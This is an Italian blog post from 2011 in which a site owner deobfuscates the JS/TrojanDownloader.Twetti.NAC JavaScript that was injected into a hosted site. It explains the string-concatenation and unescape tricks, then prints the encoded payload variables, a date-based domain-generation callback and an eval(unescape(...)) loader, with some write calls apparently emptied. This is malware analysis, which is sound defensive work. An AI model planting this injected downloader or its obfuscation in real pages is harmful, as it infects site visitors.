Magazine Informatica

Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac

Creato il 20 gennaio 2011 da Nightfly

In questo post ho riportato il codice Javascript malevolo iniettato sul server di Aruba che ospita uno dei siti che gestisco. Da un'analisi di tale codice sono riuscito a deoffuscarne alcune parti, semplificando notevolmente la compresione dello stesso. In particolare, la mia attenzione si è concentrata sulla variabile BKbk34b32, poichè su di essa vengono eseguite diverse operazioni. Infatti, come si evince dall'associazione:

var $a = BKbk34b32.replace(/98/g, "Z");

ogni pattern 98 presente all'interno della variabile precedentemente specificata, viene sostituito con una Z (ciò avviene per tutta la stringa BKbk34b32, grazie a /g, dove g sta per global

Analizziamo adesso il seguente ciclo for:

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ )

che equivale a:

for(__fh=0; __fh < s.length; __fh++ )

proprio perchè la variabile adlan3r$oubw non è altro che una stringa costituita da un singolo carattere, ovvero e :

var adlan3r$oubw = "e";

mentre il carattere + viene utilizzato per concatenare tra loro caratteri e stringhe.

All'interno del ciclo for è possibile notare le seguenti istruzioni:

i = __fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%' }

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

che equivale a:

if(s.charAt(i) == 'Z') {

s(i) = '%'; }

else {

s(i) = s(i);

}

che in soldoni vuol dire: scansiona la stringa, se incontri una Z sostituiscila con un %, altrimenti lascia il carattere cosi com'è.

Infine, è interessante dare un'occhiata alla seguente istruzione:

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

che equivale a:

this.unescape(r)

Quindi, ricapitolando possiamo deoffuscare il contenuto della variabile BKbk34b32 seguendo i seguenti step:

var a = BKbk34b32.replace(/98/g, "Z");

var b = a.replace(/Z/g, "%");

var c = unescape(b);

E infine stampiamo la variabile deoffuscata mediante il codice:

document.write(c);

La variabile BKbk34b32 deoffuscata è la seguente:

ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%";

dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";

cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;s{xpyz;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";

cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";

de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8ts%7F}79+m";

dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";

st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";

cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";

op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";

da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";

cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";

db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";

dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";

cc="%67%74h;%69++%29%7bt%6dp%3dds.s%6cic%65(i%2ci+1%29;%73";

if (document.cookie.indexOf('rf5f6ds')==-1) {

function callback(x){

window.tw = x;

var d = new Date();

d.setTime(x["as_of"]*1000);

var h = d.getUTCHours();

window.h = h;

if (h > 8) {

d.setUTCDate(d.getUTCDate() - 2);

}

else {

d.setUTCDate(d.getUTCDate() - 3);

}

window.gd = d;

var time = new Array();

var shiftIndex = "";

time["year"] = d.getUTCFullYear();

time["month"] = d.getUTCMonth()+1;

time["day"] = d.getUTCDate();

if (d.getUTCMonth()+1 < 10) {

shiftIndex = time["year"] + "-0" + (d.getUTCMonth()+1);

}

else {

shiftIndex = time["year"] + "-" + (d.getUTCMonth()+1);

}

if (d.getUTCDate() < 10) {

shiftIndex =shiftIndex + "-0" + d.getUTCDate();}else{shiftIndex = shiftIndex + "-" + d.getUTCDate();}document.write("" + "");

}

function callback2(x) {

window.tw =x;

sc('rf5f6ds',2,7);

eval(unescape(dz+cz+op+st)+'dw(dz+cz($a+st));');

document.write($a);

}

document.write("

Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac
" + "");

}

else {

$a=''

};

function sc(cnm,v,ed) {

var exd=new Date();exd.setDate(exd.getDate()+ed);document.cookie=cnm+ '=' +escape(v)+';expires='+exd.toGMTString();

};

Nei prossimi giorni proseguirò con un ulteriore analisi e deoffuscamento del codice. A presto.


Ritornare alla prima pagina di Logo Paperblog